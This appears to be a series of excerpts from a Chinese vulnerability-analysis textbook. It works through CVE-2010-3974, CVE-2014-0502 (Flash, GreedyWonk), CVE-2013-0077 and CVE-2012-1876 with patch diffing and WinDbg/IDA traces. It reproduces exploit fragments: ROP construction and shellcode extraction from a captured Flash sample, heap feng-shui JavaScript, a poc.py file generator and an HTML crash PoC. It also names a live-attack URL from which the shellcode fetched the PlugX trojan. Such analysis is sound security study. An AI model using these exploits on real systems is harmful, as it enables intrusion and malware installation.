    {"text": "6.3.3 通过补丁比较确定漏洞成因及修复方法 首先，从微软官网下载针对Windows 7的MS11-024补丁，该补丁修复了传真封面编辑器的两处 漏洞：CVE-2010-3974（本节漏洞）和CVE-2010-4701。 在安装完补丁前，记得先保存一份存在漏洞 的FXSCOVER.exe，以便与修复后的FXSCOVER.exe做补丁比较，修补前后的FXSCOVER版本号分 别为6.1.7600.16385与6.1.7600.16759。"},
    {"text": "图6-6 BinDiff补丁比较情况，仅修改3处函数 选中CDrawDoc::Serialize后单击鼠标右键选择“View FlowGraphs”选项，在BinDiff中打开后， 发现该函数主要增加了一段如图6-7所示的代码。"},
    {"text": "补丁代码通过遍历CPtrList链接中的文档对象指针，判断对象（主要是CDrawDoc类对象）是否 已被序列化（用于加载与存储文档对象），如果未被序列化，则从链表中移除当前索引到的对象， 防止后面在调用CDrawDoc::Remove移除对象时造成双重释放漏洞。 250 漏洞战争：软件漏洞分析精要 图6-7 修复代码 图6-8 修复函数对应的伪C代码 第6章 双重释放漏洞分析 251 由此我们知道，之前的漏洞主要是由于CPtrList链接中存在未被序列化的CDrawDoc对象指针， 而该对象指针可能指向一块已被释放的内存，导致后面在移除CDrawDoc时造成内存的双重释放。"},
    {"text": "6.4 CVE-2014-0502 Adobe Flash Player 双重释放漏洞 6.4.1 GreedyWonk行动 2014年2月，著名安全厂商FireEye捕获到一个针对当时Adobe Flash Player最新版本（12.0.0.44与 11.7.700.261）的0day样本，利用的是Adobe Flash Player中一处双重释放漏洞，攻击者利用该漏洞在 美国的经济和外交政策智库网站挂马，如果访问者使用Windows XP、Windows 7 + Java 1.6，以及 Windows 7+过时的Office版本就会中招，FireEye将此次攻击命名为“GreedyWonk行动”。"},
    {"text": "表6-2 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 + XP SP3 简体中文 浏览器 Internet Explorer 6 — 漏洞软件 Adobe Flash Player 版本号：11.7.700.261，调试版 ActiveX 控件 调试器 WinDbg 版本号：6.8.0004.0 反汇编器 IDA Pro 版本号：6.1 Flash 反编译器 JPEXS Free Flash Decompiler 版本号：2.1.0 此处分析的攻击样本源于http://4.59.141.44/common/update/cc.swf（链接已失效），攻击者通过 在网页中嵌入cc.swf，诱使用户访问打开，从而利用漏洞发动攻击。 首先用JPEXS反编译cc.swf， 如图6-9所示，可以看到该样本还遗留有一段攻击者用户名为“007”的调试信息“C:\\\\Users\\\\007\\\\ Desktop\\\\FlashExp(ie)\\\\src;;cc.as”。"},
    {"text": "6.4.3 Shellcode自动化模拟执行 下载的logo.gif直接打开后，如图6-10所示，完全是张正常的图片。 图6-10 包含Shellcode代码的图片 264 漏洞战争：软件漏洞分析精要 前面分析cc.swf时发现其中有个函数是取图片末尾4字节（35 12 00 00）以计算Shellcode的文件 偏移地址的，代码摘要如下： var bytes:ByteArray = new ByteArray(); bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length); bytes.position = bytes.length - 4; // 取 logo.gif 中的后 4 个字节，以用于计算 shellcode 的 起始地址 bytes.endian = \"littleEndian\"; var len:uint = bytes.readUnsignedInt(); var shellbytes:ByteArray = new ByteArray(); shellbytes.writeBytes(bytes,bytes.length - 4 - len,len); // shellcode 在 logo.gif 中的偏移地址为 11789（文件大小）-4-0x00001235（图片文件末尾 4 字节值） = 0x3344 shellbytes.position = 0; Ǵ.setSharedProperty(\"mpsc\",shellbytes); Shellcode 的 偏 移 地 址 是 通 过 logo.gif 图 片 大 小 -4- 图 片 文 件 末 尾 4 字 节 后 得 到 的 ， 即 11789-4-0x1235=0x3344，如图6-11所示即是Shellcode起始部分。 图6-11 logo.gif中Shellcode的起始位置 接下来，我们把Shellcode的十六进制数据提取出来（注意去掉图片末尾的4字节），将其保存为 文件Shellcode.sc。"},
    {"text": "此处为读者介绍一款用于自动化分析Shellcode执行行为的工具—scDbg，它属于一款开源工 具，通过模拟指令执行，然后Hook API函数记录程序行为，大大地提高分析效率，其下载地址为： https://github.com/dzzie/SCDBG。"},
    {"text": "scDbg提供命令行和GUI两个工具，可根据个人喜好选择。 scDbg使 用起来也较为简单，若可以在命令行使用“scDbg.exe –f Shellcode.sc”，若GUI界面可直接拖放文件， 则单击“Launch”按钮即可（如图6-12所示），其他更为复杂的功能，可参考官方提供的manual_en.chm 文件，里面有使用方法的详细介绍。"},
    {"text": "第6章 双重释放漏洞分析 265 图6-12 用scDbg模拟执行Shellcode 从上面scDbg的输出结果可以很直观地看到，Shellcode就是一段下载执行程序，从“http:// x2s.us/ou/g/g.exe”下载程序到本地，并将其保存为“c:\\U.exe”，最后调用WinExec执行此恶意程序， 其实它是一款远程控制木马PlugX RAT。"},
    {"text": "6.4.4 基于ROP指令地址的反向追踪 在动态调试漏洞时，需要将cc.swf放置在服务器上，本地或远程搭建的服务器均可，如果在本地 用IE直接打开会被Flash沙箱拦截，如图6-13所示。 图6-13 Flash安全沙箱冲突错误提醒 下面在Windows XP SP3 + IE6 + Adobe FlashPlayer 12.0.0.44的环境下打开cc.swf，笔者将该swf 266 漏洞战争：软件漏洞分析精要 样 本 放 置 在 172.16.248.147 这 台 局 域 网 服 务 器 （ 笔 者 使 用 XAMPP 工 具 搭 建 的 ） 上 ， 然 后 在 172.16.248.134这台机器上用IE6打开“http:// 172.16.248.147/cc.swf”。"},
    {"text": "用WinDbg附加IE进程打开后， 程序触发异常： 0:016> g (554.730): Access violation - code c0000005 (!!! second chance !!!) eax=001300d4 ebx=04985638 ecx=0498563c edx=00000000 esi=0498563c edi=0498563c eip=00000fac esp=0503ff9c ebp=0503ffec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 <Unloaded_g.dll>+0xfab: 00000fac ?? ??? 0:016> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong . 0503ff98 035c703a 04985638 0380a5c3 04e02870 <Unloaded_g.dll>+0xfab 0503ffec 00000000 0380a601 04985638 00000000 Flash32_12_0_0_44+0x703a 从栈回溯中仅有的2行数据看，此时栈空间很有可能已经被破坏，WinDbg上面也给出“Following frames may be wrong”的提示，因此上面的栈回溯信息可能有误。 为了验证这一点，笔者直接在 Flash32_12_0_0_44+0x703a上方的Flash32_12_0_0_44+0x7037指令处下断，发现会被断下很多次，因 此又设置条件断点记录执行次数，发现高达300多次，而且每次都不一样，有时可高达500多次，由 此可见，这里的栈回溯信息并不是触发漏洞时最直接的场景： 0:016> bu Flash32_12_0_0_44+0x7037 \"r $t0=@$t0+1;.printf \\\" 执行： %d 次 \\\",@$t0;.echo;gc\" 0:016> g ……省略部分内容…… 执行：332 次 执行：333 次 执行：334 次 执行： 335 次 (5a8.f3c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001300d4 ebx=047b5638 ecx=047b563c edx=00000000 esi=047b563c edi=047b563c eip=00000fac esp=04f5ff9c ebp=04f5ffec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_g.dll>+0xfab: 00000fac ?? ??? 此时，从当前的崩溃场景追踪分析，显然就有些力不从心，此时就该考虑换个思路入手。"},
    {"text": "重新看前面样本 代码中针对Windows XP SP3下的ROP指令构造： public function ?() : ByteArray { var baseaddr:* = 0; var i:* = undefined; if(? == 1) { baseaddr = 2008940544; } else if(? == 2) { baseaddr = 2009137152; } else if(? == 3) { baseaddr = 2008940544; // 针对 Windows XP SP3 版本的基址 } var rop:ByteArray = new ByteArray(); rop.endian = \"littleEndian\"; rop.writeMultiByte(\"FILL\",\"iso-8859-1\"); rop.writeUnsignedInt(171922 + baseaddr); // 0x77C09F92 rop.writeUnsignedInt(71891 + baseaddr); // 0x77bf18d3 这里列出前2个ROP指令是因为第1个地址0x77C09F92在未打开cc.swf时就会被执行，因此取第2 个地址0x77bf18d3进行下断。 用WinDbg附加IE进程打开cc.swf后，确实在0x77bf18d3断下，该地址位于msvcrt.dll模块中，如 图6-14所示可以看出确实是段ROP指令。"},
    {"text": "图6-15 栈回溯情况 重新加载进程调试，然后对第2处标框的地址Flash32_12_0_0_44+0x102ebf进行下断，经测试它 断下7次之后才会调用到ROP指令，因此在断下第7次时跟进该函数，单步跟踪进去后发现是在图6-16 所示的地址跳转到ROP地址的： 图6-16 控制虚函数跳转到ROP指令地址 重新加载进程，然后对上面的call dword ptr [eax+8] 所在地址下断，如图6-16所示，esi指向一个 对象，eax为虚表地址，最后再通过eax+8索引虚函数进行调用。"},
    {"text": "index selob.w14 = alert selob.w15 = alert selob.w16 = alert 第3章 堆溢出漏洞分析 123 selob.w17 = alert selob.w18 = alert selob.w19 = alert selob.w20 = alert selob.w21 = alert selob.w22 = alert selob.w23 = alert selob.w24 = alert selob.w25 = alert selob.w26 = alert selob.w27 = alert selob.w28 = alert selob.w29 = alert selob.w30 = alert selob.w31 = alert selob.w32 = alert selob.w33 = alert selob.w34 = alert selob.w35 = alert selob.w36 = alert selob.w37 = alert selob.w38 = alert selob.w39 = alert selob.w40 = alert selob.w41 = alert selob.w42 = alert selob.w43 = alert selob.w44 = alert selob.w45 = alert selob.w46 = alert selob.w47 = alert selob.w48 = alert selob.w49 = alert selob.w50 = alert selob.w51 = alert selob.w52 = alert selob.w53 = alert selob.w54 = alert selob.w55 = alert selob.w56 = alert selob.w57 = alert selob.w58 = alert selob.w59 = alert 124 漏洞战争：软件漏洞分析精要 selob.w60 = alert selob.w61 = alert selob.w62 = alert selob.w63 = alert var clones=new Array(1000); function feng_shui() { var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } 先创建select元素selob，并为其设置64个属性，这些属性中只有w1为String类型，其余均为Object 类型；"},
    {"text": "这就需要分析下负责解析 HTML语言的IE模块mshtml.dll，其中用于复制元素的函数为CElement::Clone，在用IDA分析时需要 加载微软符号表，否则可能导致一些函数无法正确识别。 我们用IDA 6.1打开mshtml.dll，直接定位到 CElement::Clone，在反汇编代码中，我们可以发现它又去调用CAttrArray::Clone来复制select元素的 属性： .text:7CDD5226 mov eax, [ebp+var_4] .text:7CDD5229 add eax, 0Ch .text:7CDD522C push eax .text:7CDD522D call ?Clone@CAttrArray@@QBEJPAPAV1@@Z ; CAttrArray::Clone(CAttrArray * *) .text:7CDD5232 mov edi, eax .text:7CDD5234 test edi, edi .text:7CDD5236 jnz loc_7CDD52F3 第3章 堆溢出漏洞分析 125 在 VUPEN 博 客 上 提 到 CElement::Clone 会 先 调 用 CElement::CloneAttributes ， 再 调 用 CAttrArray::Clone ， 与 此 处 有 些 出 入 ， 可 能 是 VUPEN 分 析 的 mshtml 版 本 较 高 些 。 继 续 分 析 CAttrArray::Clone函数，直接看下按F5键后显示的关键代码： v19 = 0; v2 = this; v3 = _MemAlloc(0xC); if ( v3 ) v4 = (void *)CAttrArray::CAttrArray(v3); // 创建 CAttrArray 对象 else v4 = 0; v5 = a2; *a2 = v4; if ( !v4 ) { LABEL_5: v17 = 0x8007000Eu; goto LABEL_6; } v17 = CImplAry::EnsureSize(v4, 0x10, *(_DWORD *)v2 >> 2); // 分配 0x10 大小的空间 if ( v17 ) { LABEL_6: v6 = *v5; if ( v6 ) CAttrArray::_scalar_deleting_destructor_(v6, 1); return v17; } v8 = *((_DWORD *)*a2 + 1); v18 = 0; v16 = 0; v9 = *((_DWORD *)v2 + 1); v20 = *((_DWORD *)*a2 + 1); if ( *(_DWORD *)v2 >> 2 > 0 ) { while ( 1 ) { if ( *(_BYTE *)v9 != 3 || v19 ) { v15 = *(_DWORD *)(v9 + 4); if ( *(_DWORD *)(v9 + 4) != -2147417107 ) 126 漏洞战争：软件漏洞分析精要 { *(_BYTE *)(v8 + 1) = 0; v17 = CAttrValue::Copy(v9); // 调用 CAttrValue::Copy 完成复制 if ( v17 ) goto LABEL_6; …… CAttrArray::Clone 函 数 首 先 调 用 CAttrArray::CAttrArray 创 建 CAttrArray 对 象 ， 然 后 调 用 CImpIAry::EnsureSize分配0x10大小的空间。 Exploit总共设置64个属性，那么分配的空间大小为0x10 * 0x40(64) = 0x400，与造成堆溢出的缓冲区大小相等，我们暂且将该缓冲区标记为VulBuffer，这也是 为何Exploit要创建64个属性的原因。 每个属性类型的定义，在内存均用不同的数值表示，比如0x09 代表Object，0x08代表String，0x0B代表Bool，0x05代表Infinity或者NaN，0x03代表Int，0x01代表Null， 0x00代表Undefined，Exploit中各属性在内存中的情况如图3-22所示，选框部分即是属性类型。 图3-22 Exploit中各属性在内存中的情况 前面分析漏洞时知道，NoteOn事件会导致读取的1字节加1，如果我们能够令String类型值0x08 加1，就会变成Object类型，而每个对象的头4字节即为虚表指针，我们可以通过控制虚表指针达到执 行任意代码的目的。"},
    {"text": "function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == \"string\") { } else { clones[k].w1('come on!'); } k = k - 2; } feng_shui(); 第3章 堆溢出漏洞分析 127 document.audio.Play(); } 整个内存布局及变化过程如图3-23所示。 图3-23 实现漏洞利用的内存布局 我们在调试器下分析内存布局的具体情况，可通过条件记录断点，记录各个分配、释放的堆块 地址。 先关闭页堆，防止被异常中断： C:\\Program Files\\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe -hpa Current Registry Settings for IExplore.exe executable are: 00000000 用ImmDbg加载IE运行，然后分别记录分配和释放的CImplAry数组地址，以及VulBuffer分配地 址，相应汇编指令如下： 断点 1 ： 0x76B2CE26 VulBuffer Alloc .text:76B2CE1C push 400h ; dwBytes .text:76B2CE21 call _winmmAlloc@4 ; winmmAlloc(x) 128 漏洞战争：软件漏洞分析精要 .text:76B2CE26 mov esi, eax ; eax 为分配地址 VulBuffer 断点 2 ： 0x7CDF8F78 CAttrArray::Clone Alloc .text:7CDF8F60 mov edx, [esi] .text:7CDF8F62 shr edx, 2 .text:7CDF8F65 push edx ; unsigned int .text:7CDF8F66 push 10h ; dwBytes .text:7CDF8F68 mov ecx, eax .text:7CDF8F6A call ?EnsureSize@CImplAry@@IAEJIJ@Z ; CImplAry::EnsureSize(uint,long) .text:7CDF8F6F test eax, eax .text:7CDF8F71 mov [ebp+var_C], eax .text:7CDF8F74 jnz short loc_7CDF8F47 .text:7CDF8F76 mov eax, [ebx] .text:7CDF8F78 mov ecx, [eax+4] ; CImplAry 数组分配地址 断点 3 ： 0x7CCD30A0 CImplAry::DeleteAll Free .text:7CCD30A0 push dword ptr [esi+4] ; CImplAry 数组释放地址 .text:7CCD30A3 call __MemFree@4 ; _MemFree(x) 断点 4 ： 0x76B2D25C 76B2D25C 8A06 MOV AL,BYTE PTR DS:[ESI] ; 崩溃点！ 76B2D25E 8AD0 MOV DL,AL 同时，我们在原崩溃点下断点，以方便分析完日志后做进一步调试分析，设置的条件记录断点 如图3-24所示。 图3-24 设置条件记录断点 下面是生成日志的关键部分： 7CDF8F78 COND: CAttrArray::Clone Alloc = 02EB26C8 7CDF8F78 COND: CAttrArray::Clone Alloc = 02EB2AD0 …… 7CCD30A0 COND: CImplAry::DeleteAll Free = 02EB26C8 …… 76B2CE26 COND: VulBuffer alloc = 02EB26C8 第3章 堆溢出漏洞分析 129 触发漏洞后，就会将w1的String(0x08)类型修改为Object(0x09)类型，如图3-25所示。"},
    {"text": "图3-25 将w1的String(0x08)类型修改为Object(0x09)类型 继续执行“clones[k].w1('come on!');”后，会调用CattrValue::GetIntoVariant函数，然后误将w1属 性的字符串数据当作虚表指针进行索引，从而控制程序执行流程，如图3-26所示。"},
    {"text": "图3-26 成功控制程序执行流程 130 漏洞战争：软件漏洞分析精要 3.5.7 补丁比较 通过Turbodiff对Windows XP SP3系统的补丁进行比较，可以发现在计算堆空间的偏移量时多加 了一条指令“and bl,7Fh”，如图3-27所示。"},
    {"text": "图3-27 补丁代码对比 那么此时偏移量的计算公式为EAX = [(9F & 0Fh) * 2^7 +( B2&7Fh )] / 2 = 0x3D9 ，小于0x400，因 此不会再造成堆块的越界访问。"},
    {"text": "3.6 CVE-2013-0077 Microsoft DirectShow quartz.dll m2p 文件堆溢出漏洞 3.6.1 漏洞描述 2012年10月15日，exploit-db漏洞公布站点上发布了 QQPlayer 3.7.892 m2p quartz.dll Heap Pointer Overwrite PoC ，后被人提交至乌云和CNCERT。 经过笔者的分析，确认该漏洞与QQ影音无关，而是 微软DirectShow quartz.dll在解析M2P文件时存在堆溢出漏洞，随后将此漏洞反馈予微软应急响应中 心（MSRC），微软回复确认漏洞存在，并于2013年2月12日发布了补丁修复，其对应的微软编号及 CVE 编 号 分 别 为 MS13-011 和 CVE-2013-0077 ， 具 体 漏 洞 公 告 参 见 ： http://technet.microsoft.com/ zh-cn/security/bulletin/ms13-011。"},
    {"text": "本次分析使用exploit-db上公布的测试代码 poc.py： l = 3315716 * \"A\" s1 = ((0,'\\x00\\x00\\x01\\xba'), (2048, '\\x00\\x00\\x01\\xba'), (3289120, '\\x00\\x00\\x01\\xe0\\x07'), ( 3289273 , ' \\x00\\x00\\x01\\xb3 '), (3289283, '\\xba'), (3289452, '\\x42\\x42\\x42\\x42'), ( 3289468 , ' \\x00\\x00\\x01\\x00 '), (3290359, '\\x00\\x00\\x01\\x00'), (3301408, '\\x00\\x00\\x01\\xe0\\x07'), (3303112, '\\x00\\x00\\x01\\x00')) o = open(\"poc.m2p\",\"wb\") o.write(l) for i in range(len(s1)): o.seek(s1[i][0], 0) o.write(s1[i][1]) o.close() 我们先开启堆尾检查htc，以帮助判断是否发生堆溢出： gflags.exe –i qqplayer.exe +htc 运行poc.py后生成poc.m2p文件，然后用WinDbg附加QQ影音进程运行后打开poc.m2p，触发异常： 0:003> g HEAP[QQPlayer.exe]: Heap block at 030609F0 modified at 03060D48 past requested size of 350 (668.7b8): Break instruction exception - code 80000003 (first chance) eax=030609f0 ebx=03060d48 ecx=7c93eab5 edx=02a5f842 esi=030609f0 edi=00000350 eip=7c92120e esp=02a5fa44 ebp=02a5fa48 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ntdll!DbgBreakPoint: 7c92120e cc int 3 0:003> !heap -p -a 030609F0 address 030609f0 found in _HEAP @ 3f0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 030609f0 006d 0000 [07] 030609f8 00350 - (busy) ? quartz+8c18 132 漏洞战争：软件漏洞分析精要 根据调试器输出的信息“HEAP[QQPlayer.exe]: Heap block at 030609F0 modified at 03060D48 past requested size of 350”，我们可以知道此处发生堆溢出，大小为0x350的堆块0x030609F0在0x03060D48 处被修改，超出原堆块的大小范围。"},
    {"text": "为了进一步确认造成溢出的原因，我们开启页堆hpa： gflags.exe –i qqplayer.exe +hpa -htc 重新附加进程运行后，会在复制数据到堆界时断下，这也导致堆溢出： (4b8.358): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=000000c3 ebx=003fac98 ecx=00000003 edx=000000f7 esi=001bbdd4 edi=003fb000 eip=7d0706d0 esp=02a5f650 ebp=02a5f658 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202 quartz!ParseSequenceHeader+0x114: 7d0706d0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 重新在此处设置断点再附加进行： 0:002> bl 0 e 7d0706d0 0001 (0001) 0:**** quartz!ParseSequenceHeader+0x114 在quartz!ParseSequenceHeader+0x114:rep movs dword ptr es:[edi],dword ptr [esi] 断下后，发现其 正在复制poc.m2p文件中的数据，即从b3010000开始的数据： Breakpoint 0 hit eax=000000c3 ebx=02844cb0 ecx=00000030 edx=000000f7 esi=29feef38 edi=02844f64 eip=7d0706d0 esp=20cef650 ebp=20cef658 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 quartz!ParseSequenceHeader+0x114: 7d0706d0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:002> dd edi 02844f64 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844f74 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844f84 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844f94 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844fa4 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844fb4 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844fc4 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 02844fd4 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 0:002> dd esi 29feef38 b3010000 41414141 41ba4141 41414141 29feef48 41414141 41414141 41414141 41414141 第3章 堆溢出漏洞分析 133 29feef58 41414141 41414141 41414141 41414141 29feef68 41414141 41414141 41414141 41414141 29feef78 41414141 41414141 41414141 41414141 29feef88 41414141 41414141 41414141 41414141 29feef98 41414141 41414141 41414141 41414141 29feefa8 41414141 41414141 41414141 41414141 记住复制的目标地址edi=0x02844f64，接下来使用命令“bd 0”禁用前面设置的断点，输入g继 续运行： (6cc.2c4): Access violation - code c0000005 (!!! second chance !!!) eax=000000c3 ebx=02844cb0 ecx=00000009 edx=000000f7 esi=29feefd4 edi=02845000 eip=7d0706d0 esp=20cef650 ebp=20cef658 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 quartz!ParseSequenceHeader+0x114: 7d0706d0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:002> dd edi 02845000 ???????? ???????? ???????? ???????? 02845010 ???????? ???????? ???????? ???????? 02845020 ???????? ???????? ???????? ???????? 02845030 ???????? ???????? ???????? ???????? 02845040 ???????? ???????? ???????? ???????? 02845050 ???????? ???????? ???????? ???????? 02845060 ???????? ???????? ???????? ???????? 02845070 ???????? ???????? ???????? ???????? 此时的目标地址edi=0x02845000，当前堆块允许复制的字节大小=0x02845000-0x02844f64 = 0x9C。"},
    {"text": "我们先来看下导致溢出的漏洞函数quartz!ParseSequenceHeader，得到IDA F5反编译后的 关键代码： signed int __stdcall ParseSequenceHeader(int a1, unsigned int a2, int a3) { …… memcpy((void *)(a3 + 0x34), (const void *)a1, a2); // 此处导致堆溢出！"},
    {"text": "从前面的PoC代码可以看到0xb3010000之后有个“\\x00\\x00\\x01\\x00”，它代表图像头Picture Header的起始标记（各起始标记可参考《MPEG-1和MPEG-2码流结构分析》：http://www.cnblogs.com/ xkfz007/articles/2613654.html ）。 所以在PoC中，视 频 序列头Sequence Header 的 全部数据就 是从 134 漏洞战争：软件漏洞分析精要 “\\x00\\x00\\x01\\xb3”起始标记到“\\x00\\x00\\x01\\x00”之间的数据（不包括“\\x00\\x00\\x01\\x00”）， 共有 3289468 – 3289273 = 195（0xC3）字节（这里的3289468和3289273是PoC中“\\x00\\x00\\x01\\x00” 和“\\x00\\x00\\x01\\xb3”标记对应的位置）。 我们已经知道用于存放视频序列头数据的堆块，允许的最大数据长度为0x9C，而PoC中的实际 数据长度为 0xC3 > 0x9C ，也正因为如此才导致堆溢出！"},
    {"text": "关于此漏洞的利用，其实在PoC中已经实现了，主要是通过覆盖虚表指针来控制程序的执行流程： (4cc.76c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=003fa2a4 ebx=030a9d58 ecx=42414141 edx=00000000 esi=030a9d40 edi=003fa298 eip=7cf8a9fa esp=02a7f824 ebp=02a7f838 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246 quartz!CEnumPins::Next+0x9e: 7cf8a9fa ff5104 call dword ptr [ecx+4] ds:0023:42414145=???????? 本次分析主要是利用因堆页断下的复制地址（即堆边界地址）与复制数据的起始地址之间的差 值判断堆块允许填充的最大字节长度，避免通过分析反汇编而增加工作量，因为追踪这个长度值需 要回溯多个函数的参数传递情况，可能还得动态调试获取各参数的情况，无形之中会耗用过多时间， 直接借助堆页的调试支持，可以大大地提高分析效率。"},
    {"text": "3.6.3 漏洞修复 在Windows 7系统上的quartz.dll (6.6.7600.16905) 并不存在此漏洞，因为它将允许复制数据的最 大字节长度限制为0x8C大小，从而防止堆溢出，这也是为何poc.m2p只在Windows XP崩溃而在 Windows 7无法崩溃的原因，如图3-28所示。"},
    {"text": "图3-28 Windows 7系统上的代理代码 第3章 堆溢出漏洞分析 135 3.7 CVE-2012-1876 Internet Exporter MSHTML.dll CalculateMinMax堆溢出漏洞 3.7.1 在Pwn2Own黑客大赛上用于攻破IE9的漏洞 在2012年的Pwn2Own黑客大赛上，来自法国的安全团队Vupen利用两个0day漏洞攻下Windows 7 中的IE9，其中有一个就是本节要讲的IE堆溢出漏洞，另一个是绕过IE沙盘（保护模式）漏洞，VUPEN 团队也因此获得6万美元的奖励。 根据大赛规定，Vupen将堆溢出漏洞提交给微软修复，然后微软发 布了MS12-037公告修复此漏洞，而绕过IE沙盘的漏洞，VUPEN并没有提交给微软，可能是高价出售 给了政府或者安全厂商。"},
    {"text": "表 3-7 分析环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文版 虚拟机工具 Oracle VM VirtualBox 版本号：4.1.8 r75467 浏览器 Internet Explorer 8 版本号：8.0.7600.16385 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.1 3.7.3 基于HPA的漏洞分析方法 本次分析所用的PoC代码如下，主要用于触发崩溃，以方便调试： <html> <body> <table style=\"table-layout:fixed\" > <col id=\"132\" width=\"41\" span=\"1\" >&nbsp </col> </table> <script> function over_trigger() { var obj_col = document.getElementById(\"132\"); 136 漏洞战争：软件漏洞分析精要 obj_col.width = \"42765\"; obj_col.span = 1000; } setTimeout(\"over_trigger();\",1); </script> </body> </html> 在调试前先用gflags.exe对IE进程开启hpa选项，以支持WinDbg对其堆调试。"},
    {"text": "图3-30 IE崩溃时被断下 第3章 堆溢出漏洞分析 137 导致这种情况的主要原因是IE又衍生出子进程，而WinDbg默认情况下是不支持子进程调试的， 读者可以使用以下命令开启子进程调试： .childdbg 1 开启后断下的效果： (94c.bac): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=075f9000 edi=075f9018 eip=69e8f167 esp=046adba0 ebp=046adbac iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CTableColCalc::AdjustForCol+0x15: 69e8f167 890f mov dword ptr [edi],ecx ds:0023:075f9018=???????? 1:023> kb ChildEBP RetAddr Args to Child 046adbac 69d05b8e 00414114 046adef0 00000001 mshtml!CTableColCalc::AdjustForCol+0x15 046adc5c 69b70713 00000001 046adef0 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f 046ade78 69b5af19 046adef0 046adebc 00000001 mshtml!CTableLayout::CalculateLayout+0x276 046ae024 69c4cc48 046af698 046ae250 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 046ae15c 69c3f5d0 0805bea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 046ae220 69c3f31d 0805bea8 0001223c 0001223c mshtml!CFlowLayout::MeasureSite+0x312 046ae268 69c3f664 07ffff00 00000061 046af698 mshtml!CFlowLayout::GetSiteWidth+0x156 046ae2a8 69c3fb40 082a3fb0 0805bea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce 046ae32c 7246665d 07624ff8 046ae34c 046ae410 mshtml!CEmbeddedILSObj::Fmt+0x150 046ae3bc 72466399 07608efc 00000000 0760cd20 msls31!ProcessOneRun+0x3e9 046ae418 72466252 07608f18 00012b55 00000000 msls31!FetchAppendEscCore+0x18e 046ae46c 724661c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f 046ae4f4 7246293f 00000007 00002b8a 00000000 msls31!LsDestroyLine+0x9ff 046ae530 69c3dd81 00000001 00000007 00002b8a msls31!LsCreateLine+0xcb 046ae680 69c517cc 046af698 00000007 082a3fc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127 046ae724 69c51ef5 046aef88 0001223c 00000000 mshtml!CLSMeasurer::LSMeasure+0x34 046ae76c 69c51db1 00000000 00012a0c 00000083 mshtml!CLSMeasurer::Measure+0x1e6 046ae790 69c511a2 00012a0c 00000083 07ffff40 mshtml!CLSMeasurer::MeasureLine+0x1c 046ae840 69c7a8f6 046aed60 075befd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d 046af048 69c7b304 046af698 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb 从崩溃地址往上回溯代码，可以发现edi来源于esi，而这个值肯定是从上层带过来的，因为我们 在mshtml!CTableColCalc::AdjustForCol 的起始部分找不到对esi的处理代码： mshtml!CTableColCalc::AdjustForCol: 69e8f152 8bff mov edi,edi 138 漏洞战争：软件漏洞分析精要 69e8f154 55 push ebp 69e8f155 8bec mov ebp,esp 69e8f157 8b08 mov ecx,dword ptr [eax] 69e8f159 53 push ebx 69e8f15a 8b5d08 mov ebx,dword ptr [ebp+8] 69e8f15d 57 push edi 69e8f15e 8bc1 mov eax,ecx 69e8f160 83e00f and eax,0Fh 69e8f163 8d7e18 lea edi,[esi+18h] ; edi 来源于 esi 69e8f166 50 push eax 69e8f167 890f mov dword ptr [edi],ecx ds:0023:075f9018=???????? 通过前面栈回溯可知mshtml!CTableColCalc::AdjustForCol的上层函数为mshtml!CTableLayout:: CalculateMinMax，我们可先在此函数下断点。 下断点时必须确保WinDbg已经加载欲调试的子进程， 